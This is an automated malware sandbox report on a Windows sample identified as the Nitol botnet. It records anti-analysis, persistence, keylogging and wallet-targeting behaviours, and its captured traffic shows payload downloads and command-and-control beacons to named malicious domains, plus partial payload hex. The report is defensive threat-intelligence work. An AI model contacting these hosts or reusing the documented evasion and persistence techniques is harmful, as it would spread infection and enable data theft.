Edit tour

Windows Analysis Report
pXm5oVO3Go.exe

Overview

General Information

Sample name:	pXm5oVO3Go.exe renamed because original name is a hash value
Original sample name:	d863d9572524236e97528275899b73ffe7f182b4824bd7efc12a2e8ae3e8955e.exe
Analysis ID:	1499614
MD5:	64a2f030c7c91762485ee16bc8a12e4f
SHA1:	6193a1b655e641719f0b54edcdfce8fa326dc934
SHA256:	d863d9572524236e97528275899b73ffe7f182b4824bd7efc12a2e8ae3e8955e
Tags:	ad87h92j-comexe
Infos:

Detection

Nitol

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for dropped file

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected Nitol

AI detected suspicious sample

Checks if browser processes are running

Contains functionalty to change the wallpaper

Drops password protected ZIP file

Found API chain indicative of debugger detection

Hides threads from debuggers

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Tries to access browser extension known for cryptocurrency wallets

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect virtualization through RDTSC time measurements

Tries to evade analysis by execution special instruction (VM detection)

AV process strings found (often used to terminate AV products)

Checks for kernel debuggers (NtQuerySystemInformation(SystemKernelDebuggerInformation))

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to clear windows event logs (to hide its activities)

Contains functionality to delete services

Contains functionality to dynamically determine API calls

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found evasive API chain (may stop execution after accessing registry keys)

Found evasive API chain (may stop execution after checking a module file name)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses the system / local time for branch decision (may execute only at specific dates)

Yara signature match

Classification

Process Tree

System is w10x64

pXm5oVO3Go.exe (PID: 7440 cmdline: "C:\Users\user\Desktop\pXm5oVO3Go.exe" MD5: 64A2F030C7C91762485EE16BC8A12E4F)

DAPIjX8.exe (PID: 5296 cmdline: "C:\Program Files (x86)\6fjdie\DAPIjX8.exe" MD5: C8E8EEAF5464AF1A188B3DC12C890813)

OpenWith.exe (PID: 7576 cmdline: C:\Windows\system32\OpenWith.exe -Embedding MD5: E4A834784FA08C17D47A1E72429C5109)

DAPIjX8.exe (PID: 1984 cmdline: "C:\Program Files (x86)\6fjdie\DAPIjX8.exe" MD5: C8E8EEAF5464AF1A188B3DC12C890813)

DAPIjX8.exe (PID: 2772 cmdline: "C:\Program Files (x86)\6fjdie\DAPIjX8.exe" MD5: C8E8EEAF5464AF1A188B3DC12C890813)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Nitol		No Attribution	https://asec.ahnlab.com/en/44504/ https://blogs.technet.microsoft.com/microsoft_blog/2012/09/13/microsoft-disrupts-the-emerging-nitol-botnet-being-spread-through-an-unsecure-supply-chain/ https://en.wikipedia.org/wiki/Nitol_botnet https://krebsonsecurity.com/tag/nitol/	https://malpedia.caad.fkie.fraunhofer.de/details/win.nitol

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000009.00000002.3247531468.0000000010064000.00000002.00001000.00020000.00000000.sdmp	JoeSecurity_Nitol	Yara detected Nitol	Joe Security
00000009.00000002.3246471111.00000000031D9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Nitol	Yara detected Nitol	Joe Security
00000009.00000002.3246679220.00000000032FE000.00000040.00000020.00020000.00000000.sdmp	JoeSecurity_Nitol	Yara detected Nitol	Joe Security
Process Memory Space: DAPIjX8.exe PID: 5296	JoeSecurity_Nitol	Yara detected Nitol	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
9.2.DAPIjX8.exe.32fec24.2.unpack	JoeSecurity_Nitol	Yara detected Nitol	Joe Security
9.2.DAPIjX8.exe.32fec24.2.unpack	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_RDP	Detects executables embedding registry key / value combination manipulating RDP / Terminal Services	ditekSHen	0x75ff8:$r1: SOFTWARE\Policies\Microsoft\Windows\Installer 0x75fe4:$k1: EnableAdminTSRemote 0x75d74:$r2: SYSTEM\CurrentControlSet\Control\Terminal Server 0x75ed0:$r2: SYSTEM\CurrentControlSet\Control\Terminal Server 0x75f08:$r2: SYSTEM\CurrentControlSet\Control\Terminal Server 0x75f50:$r2: SYSTEM\CurrentControlSet\Control\Terminal Server 0x760c8:$r2: SYSTEM\CurrentControlSet\Control\Terminal Server 0x760a0:$k2: TSEnabled 0x76044:$r3: SYSTEM\CurrentControlSet\Services\TermDD 0x76070:$r4: SYSTEM\CurrentControlSet\Services\TermService 0x75d11:$k3: Start 0x75d1d:$k3: Start 0x75d2b:$k3: Start 0x75d47:$k3: Start 0x7603c:$k3: Start 0x7626f:$k3: start 0x75d74:$r5: SYSTEM\CurrentControlSet\Control\Terminal Server 0x75ed0:$r5: SYSTEM\CurrentControlSet\Control\Terminal Server 0x75f08:$r5: SYSTEM\CurrentControlSet\Control\Terminal Server 0x75f50:$r5: SYSTEM\CurrentControlSet\Control\Terminal Server 0x760c8:$r5: SYSTEM\CurrentControlSet\Control\Terminal Server
9.2.DAPIjX8.exe.31d9c24.1.unpack	JoeSecurity_Nitol	Yara detected Nitol	Joe Security
9.2.DAPIjX8.exe.31d9c24.1.unpack	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_RDP	Detects executables embedding registry key / value combination manipulating RDP / Terminal Services	ditekSHen	0x75ff8:$r1: SOFTWARE\Policies\Microsoft\Windows\Installer 0x75fe4:$k1: EnableAdminTSRemote 0x75d74:$r2: SYSTEM\CurrentControlSet\Control\Terminal Server 0x75ed0:$r2: SYSTEM\CurrentControlSet\Control\Terminal Server 0x75f08:$r2: SYSTEM\CurrentControlSet\Control\Terminal Server 0x75f50:$r2: SYSTEM\CurrentControlSet\Control\Terminal Server 0x760c8:$r2: SYSTEM\CurrentControlSet\Control\Terminal Server 0x760a0:$k2: TSEnabled 0x76044:$r3: SYSTEM\CurrentControlSet\Services\TermDD 0x76070:$r4: SYSTEM\CurrentControlSet\Services\TermService 0x75d11:$k3: Start 0x75d1d:$k3: Start 0x75d2b:$k3: Start 0x75d47:$k3: Start 0x7603c:$k3: Start 0x7626f:$k3: start 0x75d74:$r5: SYSTEM\CurrentControlSet\Control\Terminal Server 0x75ed0:$r5: SYSTEM\CurrentControlSet\Control\Terminal Server 0x75f08:$r5: SYSTEM\CurrentControlSet\Control\Terminal Server 0x75f50:$r5: SYSTEM\CurrentControlSet\Control\Terminal Server 0x760c8:$r5: SYSTEM\CurrentControlSet\Control\Terminal Server
9.2.DAPIjX8.exe.31d9c24.1.raw.unpack	JoeSecurity_Nitol	Yara detected Nitol	Joe Security
9.2.DAPIjX8.exe.31d9c24.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_RDP	Detects executables embedding registry key / value combination manipulating RDP / Terminal Services	ditekSHen	0x777f8:$r1: SOFTWARE\Policies\Microsoft\Windows\Installer 0x777e4:$k1: EnableAdminTSRemote 0x77574:$r2: SYSTEM\CurrentControlSet\Control\Terminal Server 0x776d0:$r2: SYSTEM\CurrentControlSet\Control\Terminal Server 0x77708:$r2: SYSTEM\CurrentControlSet\Control\Terminal Server 0x77750:$r2: SYSTEM\CurrentControlSet\Control\Terminal Server 0x778c8:$r2: SYSTEM\CurrentControlSet\Control\Terminal Server 0x778a0:$k2: TSEnabled 0x77844:$r3: SYSTEM\CurrentControlSet\Services\TermDD 0x77870:$r4: SYSTEM\CurrentControlSet\Services\TermService 0x77511:$k3: Start 0x7751d:$k3: Start 0x7752b:$k3: Start 0x77547:$k3: Start 0x7783c:$k3: Start 0x77a6f:$k3: start 0x77574:$r5: SYSTEM\CurrentControlSet\Control\Terminal Server 0x776d0:$r5: SYSTEM\CurrentControlSet\Control\Terminal Server 0x77708:$r5: SYSTEM\CurrentControlSet\Control\Terminal Server 0x77750:$r5: SYSTEM\CurrentControlSet\Control\Terminal Server 0x778c8:$r5: SYSTEM\CurrentControlSet\Control\Terminal Server
9.2.DAPIjX8.exe.32fec24.2.raw.unpack	JoeSecurity_Nitol	Yara detected Nitol	Joe Security
9.2.DAPIjX8.exe.32fec24.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_RDP	Detects executables embedding registry key / value combination manipulating RDP / Terminal Services	ditekSHen	0x777f8:$r1: SOFTWARE\Policies\Microsoft\Windows\Installer 0x777e4:$k1: EnableAdminTSRemote 0x77574:$r2: SYSTEM\CurrentControlSet\Control\Terminal Server 0x776d0:$r2: SYSTEM\CurrentControlSet\Control\Terminal Server 0x77708:$r2: SYSTEM\CurrentControlSet\Control\Terminal Server 0x77750:$r2: SYSTEM\CurrentControlSet\Control\Terminal Server 0x778c8:$r2: SYSTEM\CurrentControlSet\Control\Terminal Server 0x778a0:$k2: TSEnabled 0x77844:$r3: SYSTEM\CurrentControlSet\Services\TermDD 0x77870:$r4: SYSTEM\CurrentControlSet\Services\TermService 0x77511:$k3: Start 0x7751d:$k3: Start 0x7752b:$k3: Start 0x77547:$k3: Start 0x7783c:$k3: Start 0x77a6f:$k3: start 0x77574:$r5: SYSTEM\CurrentControlSet\Control\Terminal Server 0x776d0:$r5: SYSTEM\CurrentControlSet\Control\Terminal Server 0x77708:$r5: SYSTEM\CurrentControlSet\Control\Terminal Server 0x77750:$r5: SYSTEM\CurrentControlSet\Control\Terminal Server 0x778c8:$r5: SYSTEM\CurrentControlSet\Control\Terminal Server
Click to see the 3 entries

Sigma Signatures

System Summary

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Program Files (x86)\6fjdie\DAPIjX8.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\pXm5oVO3Go.exe, ProcessId: 7440, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WINDOWS

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.8 - Destination IP: 188.114.96.3

Timestamp:	2024-08-27T09:49:34.405364+0200
SID:	2803304
Severity:	3
Source Port:	49714
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for dropped file

Source: C:\Program Files (x86)\6fjdie\t4d.tmp	Avira: detection malicious, Label: DR/FakePic.Gen
Source: C:\Program Files (x86)\6fjdie\t5d.tmp	Avira: detection malicious, Label: DR/FakePic.Gen

Multi AV Scanner detection for submitted file

Source: pXm5oVO3Go.exe	ReversingLabs: Detection: 15%
Source: pXm5oVO3Go.exe	Virustotal: Detection: 17%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: pXm5oVO3Go.exe, 00000000.00000000.1390707915.0000000000684000.00000002.00000001.01000000.00000003.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_4dee8bef-2

Source: pXm5oVO3Go.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.17.45:443 -> 192.168.2.8:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.7.127:443 -> 192.168.2.8:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.7.127:443 -> 192.168.2.8:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.7.127:443 -> 192.168.2.8:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.7.127:443 -> 192.168.2.8:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.7.127:443 -> 192.168.2.8:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.7.127:443 -> 192.168.2.8:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.7.127:443 -> 192.168.2.8:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.7.127:443 -> 192.168.2.8:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.7.127:443 -> 192.168.2.8:49725 version: TLS 1.2

Source:	Binary string: D:\a\_work\1\s\\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: VCRUNTIME140.dll.0.dr
Source:	Binary string: \NewJumpLogin\ReleaseSW300exe\JumpLogin.pdb source: pXm5oVO3Go.exe
Source:	Binary string: d:\a01\_work\2\s\\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: MSVCP140.dll.0.dr

Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_0332A374 lstrcpy,lstrcat,CreateDirectoryA,GetLastError,FindFirstFileA,lstrcpy,lstrcat,lstrcat,lstrcpy,lstrcat,lstrcat,lstrcmp,lstrcmp,CreateDirectoryA,GetLastError,CopyFileA,_strstr,_strstr,CreateFileA,CreatePipe,CreateProcessA,_strstr,_strstr,__alldvrm,SetFilePointer,ReadFile,CreatePipe,CreateProcessA,ReadFile,ReadFile,_strstr,_strstr,__alldvrm,SetFilePointer,ReadFile,FindNextFileA,std::ios_base::_Ios_base_dtor,	9_2_0332A374
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_033263C4 FindFirstFileA,FindClose,RemoveDirectoryA,Sleep,CreateFileA,GetFileSize,CreateFileA,GetFileSize,SetFilePointer,ReadFile,LocalAlloc,LocalFree,CloseHandle,Sleep,	9_2_033263C4
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_03321134 lstrcpy,FindFirstFileA,lstrcpy,_strstr,LocalAlloc,LocalReAlloc,LocalSize,Sleep,LocalFree,FindNextFileA,FindClose,	9_2_03321134
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_0332A194 lstrcpy,CreateDirectoryA,FindFirstFileA,lstrcpy,lstrcpy,CreateDirectoryA,CopyFileA,FindNextFileA,	9_2_0332A194
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_033210BD lstrcpy,FindFirstFileA,lstrcpy,FindNextFileA,FindClose,	9_2_033210BD
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_033210DA lstrcpy,FindFirstFileA,lstrcpy,FindNextFileA,FindClose,	9_2_033210DA
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_03322754 FindFirstFileA,FindClose,CreateFileA,Sleep,CreateFileA,CloseHandle,GetLastError,wsprintfA,	9_2_03322754
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_033224F4 lstrlen,wsprintfA,FindFirstFileA,wsprintfA,wsprintfA,FindNextFileA,FindClose,	9_2_033224F4
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_033314C4 RegOpenKeyExA,RegCloseKey,GetTickCount,gethostname,GetUserNameA,GetLastError,GlobalMemoryStatusEx,GetDriveTypeA,GetDiskFreeSpaceExA,lstrcpy,lstrlen,OpenSCManagerA,wsprintfA,OpenServiceA,QueryServiceStatus,wsprintfA,lstrlen,GetModuleFileNameA,SHGetSpecialFolderPathA,FindFirstFileA,FindNextFileA,FindNextFileA,FindNextFileA,EnumDisplaySettingsA,_strftime,OpenSCManagerA,QueryServiceStatus,OpenSCManagerA,QueryServiceStatus,GetLocaleInfoW,WideCharToMultiByte,WideCharToMultiByte,	9_2_033314C4
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_03353AFC FindFirstFileExW,	9_2_03353AFC
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_03321AD4 LocalAlloc,wsprintfA,FindFirstFileA,LocalReAlloc,lstrlen,FindNextFileA,LocalFree,FindClose,	9_2_03321AD4
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_03321E14 FindFirstFileA,CreateDirectoryA,CopyFileA,FindNextFileA,FindClose,	9_2_03321E14
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_03320EB3 FindFirstFileA,FindClose,FindClose,	9_2_03320EB3
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_03321CE4 FindFirstFileA,SetFileAttributesA,FindNextFileA,FindClose,RemoveDirectoryA,	9_2_03321CE4
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_100230CD lstrcpy,FindFirstFileA,lstrcpy,FindNextFileA,FindClose,	9_2_100230CD
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_10023110 lstrcpy,FindFirstFileA,lstrcpy,_strstr,LocalAlloc,LocalReAlloc,LocalSize,Sleep,LocalFree,FindNextFileA,FindClose,	9_2_10023110
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_1002C170 lstrcpy,CreateDirectoryA,FindFirstFileA,lstrcpy,lstrcpy,CreateDirectoryA,CopyFileA,FindNextFileA,	9_2_1002C170
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_1002C350 lstrcpy,lstrcat,CreateDirectoryA,GetLastError,FindFirstFileA,lstrcpy,lstrcat,lstrcat,lstrcpy,lstrcat,lstrcat,lstrcmp,lstrcmp,CreateDirectoryA,GetLastError,CopyFileA,_strstr,_strstr,CreateFileA,CreatePipe,CreateProcessA,_strstr,_strstr,__alldvrm,SetFilePointer,ReadFile,CreatePipe,CreateProcessA,ReadFile,ReadFile,_strstr,_strstr,__alldvrm,SetFilePointer,ReadFile,FindNextFileA,std::ios_base::_Ios_base_dtor,	9_2_1002C350
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_100283A0 FindFirstFileA,FindClose,RemoveDirectoryA,Sleep,CreateFileA,GetFileSize,CreateFileA,GetFileSize,SetFilePointer,ReadFile,LocalAlloc,LocalFree,CloseHandle,Sleep,	9_2_100283A0
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_100334A0 RegOpenKeyExA,RegCloseKey,GetTickCount,gethostname,GetUserNameA,GetLastError,GlobalMemoryStatusEx,GetDriveTypeA,GetDiskFreeSpaceExA,lstrcpy,lstrlen,OpenSCManagerA,wsprintfA,OpenServiceA,QueryServiceStatus,wsprintfA,lstrlen,GetModuleFileNameA,SHGetSpecialFolderPathA,FindFirstFileA,FindNextFileA,FindNextFileA,FindNextFileA,EnumDisplaySettingsA,_strftime,OpenSCManagerA,QueryServiceStatus,OpenSCManagerA,QueryServiceStatus,GetLocaleInfoW,WideCharToMultiByte,WideCharToMultiByte,	9_2_100334A0
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_100244D0 lstrlen,wsprintfA,FindFirstFileA,wsprintfA,wsprintfA,FindNextFileA,FindClose,	9_2_100244D0
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_10024730 FindFirstFileA,FindClose,CreateFileA,Sleep,CreateFileA,CloseHandle,GetLastError,wsprintfA,	9_2_10024730
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_10023AB0 LocalAlloc,wsprintfA,FindFirstFileA,LocalReAlloc,lstrlen,FindNextFileA,LocalFree,FindClose,	9_2_10023AB0
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_10055AD8 FindFirstFileExW,	9_2_10055AD8
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_10023CC0 FindFirstFileA,SetFileAttributesA,FindNextFileA,FindClose,RemoveDirectoryA,	9_2_10023CC0
Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe	Code function: 9_2_10023DF0 FindFirstFileA,CreateDirectoryA,CopyFileA,FindNextFileA,FindClose,	9_2_10023DF0

Source: C:\Program Files (x86)\6fjdie\DAPIjX8.exe

Code function: 9_2_03325404 GetLogicalDriveStringsA,QueryDosDeviceA,lstrlen,lstrcpy,lstrcpy,lstrcat,

9_2_03325404

Source: global traffic	HTTP traffic detected: GET /4/long.bmp HTTP/1.1Host: web.ad87h92j.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /4/text.bmp HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: web.ad87h92j.com
Source: global traffic	HTTP traffic detected: GET /4/d.bmp HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: web.ad87h92j.com
Source: global traffic	HTTP traffic detected: GET /4/t.bmp HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: web.ad87h92j.com

Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic

Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.8:49714 -> 188.114.96.3:80

Source: global traffic	HTTP traffic detected: POST /api.php/common/getdomain HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36Content-Length: 18Host: cacer.goldenh0ur.com
Source: global traffic	HTTP traffic detected: POST /api.php/common/receivejson HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36Content-Length: 482Host: mvc.withoutyou5.com
Source: global traffic	HTTP traffic detected: POST /api.php/common/gettask HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36MAC: a6i4oct4j4i9kob52n0pco2vfmContent-Length: 38Host: mvc.withoutyou5.com
Source: global traffic	HTTP traffic detected: POST /api.php/common/gettask HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36MAC: a6i4oct4j4i9kob52n0pco2vfmContent-Length: 38Host: mvc.withoutyou5.com
Source: global traffic	HTTP traffic detected: POST /api.php/common/gettask HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36MAC: a6i4oct4j4i9kob52n0pco2vfmContent-Length: 38Host: mvc.withoutyou5.com
Source: global traffic	HTTP traffic detected: POST /api.php/common/gettask HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36MAC: a6i4oct4j4i9kob52n0pco2vfmContent-Length: 38Host: mvc.withoutyou5.com
Source: global traffic	HTTP traffic detected: POST /api.php/common/gettask HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36MAC: a6i4oct4j4i9kob52n0pco2vfmContent-Length: 38Host: mvc.withoutyou5.com
Source: global traffic	HTTP traffic detected: POST /api.php/common/gettask HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36MAC: a6i4oct4j4i9kob52n0pco2vfmContent-Length: 38Host: mvc.withoutyou5.com
Source: global traffic	HTTP traffic detected: POST /api.php/common/gettask HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36MAC: a6i4oct4j4i9kob52n0pco2vfmContent-Length: 38Host: mvc.withoutyou5.com
Source: global traffic	HTTP traffic detected: POST /api.php/common/gettask HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36MAC: a6i4oct4j4i9kob52n0pco2vfmContent-Length: 38Host: mvc.withoutyou5.com

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\pXm5oVO3Go.exe

Code function: 0_2_00420710 ShellExecuteA,CreateThread,VirtualAlloc,VirtualAlloc,InternetOpenA,InternetOpenUrlA,InternetReadFile,CreateThread,

0_2_00420710

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 27 Aug 2024 07:49:35 GMTContent-Type: image/bmpContent-Length: 6443425Connection: keep-aliveLast-Modified: Thu, 08 Aug 2024 15:32:21 GMTETag: "607df428a8e9da1:0"Cache-Control: max-age=14400CF-Cache-Status: HITAge: 431Accept-Ranges: bytesReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ag4unlxgbi4UOJjInOq9jj0IknIEUW%2BWZAEJfwZ4z8eF5GkjiYppNG8O8BcnUQCzgkFdFjlKIMYBHDMnWWOunyST57yvGfdOTtozTl92UzkA7TLPNFZvD2bnMsKALH4nprDk"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8b9a77404ae242e8-EWRalt-svc: h3=":443"; ma=86400Data Raw: 50 4b 03 04 14 00 00 00 00 00 52 09 02 59 00 00 00 00 00 00 00 00 00 00 00 00 05 00 11 00 74 65 78 74 2f 55 54 0d 00 07 f1 31 ac 66 f1 31 ac 66 f1 31 ac 66 50 4b 03 04 14 00 09 00 08 00 ae 88 37 58 00 00 00 00 00 00 00 00 78 a9 06 00 11 00 11 00 74 65 78 74 2f 4d 53 56 43 50 31 34 30 2e 64 6c 6c 55 54 0d 00 07 d3 f1 af 65 6a c1 ab 66 32 4d 82 66 87 7a eb 30 49 5c 70 71 cf 9f 0b 7f 37 1a ef fe ec 4e 99 14 e9 79 0c eb 41 b9 e8 f1 0c 4c 80 3a 7f 76 93 46 46 e8 65 7d bc 46 e7 22 b0 cc d0 5f 0c fe e5 9a c6 07 68 49 cf 67 8c de f1 91 0a 4d 5f 96 fa d9 d6 82 da 5d 83 1e 78 91 03 68 d0 5c f3 7f be 92 78 68 7f 9b 82 3d 58 0a 03 a3 ca 52 a9 20 ad ce 0c 1c 17 57 32 4f 23 2d bd 75 0e cf 2d 73 5a f1 a5 25 a2 53 54 c7 df 3d 96 7b f5 d6 b7 e4 a5 b1 33 57 3e 91 c8 b1 9f 68 0b 2f d7 28 a9 80 e2 6e 4c cc 82 c2 26 fe 2b 7e ce 5e 42 59 1b b0 3c 97 03 3a bf 54 e9 ce 6b d0 11 f6 8c a1 96 6a 71 dd 5b a0 e2 f0 6e 1c 54 d9 8d e7 7b 68 d7 cb 0f 8d a0 bc 2f 63 1e dc b5 69 41 6a 0d fd 2b c8 88 9c 7c 92 ea 7c bc 78 5c b1 3a 4c 96 53 a8 93 1a 43 8a 40 72 c9 cd 4d f3 75 0b d3 e0 d6 60 25 ae d3 66 4a 4b 5d b6 5e 17 3b 24 29 1b a7 07 28 1d 48 ce 8a 24 dd e5 0f 57 31 3b 63 bc e1 b9 39 3b 66 4c 46 9f 14 f3 c4 02 68 95 c3 21 3d 7c d0 7a 12 01 3c 08 32 de 1b 41 20 0a ef 8d 8e 3c cb 3d 54 8e 28 0e 74 2d a5 bb e4 c7 6a f7 4b 3c 19 7a 3e b3 55 75 93 98 a4 85 fc 3e 61 cb 06 22 80 2d 2c 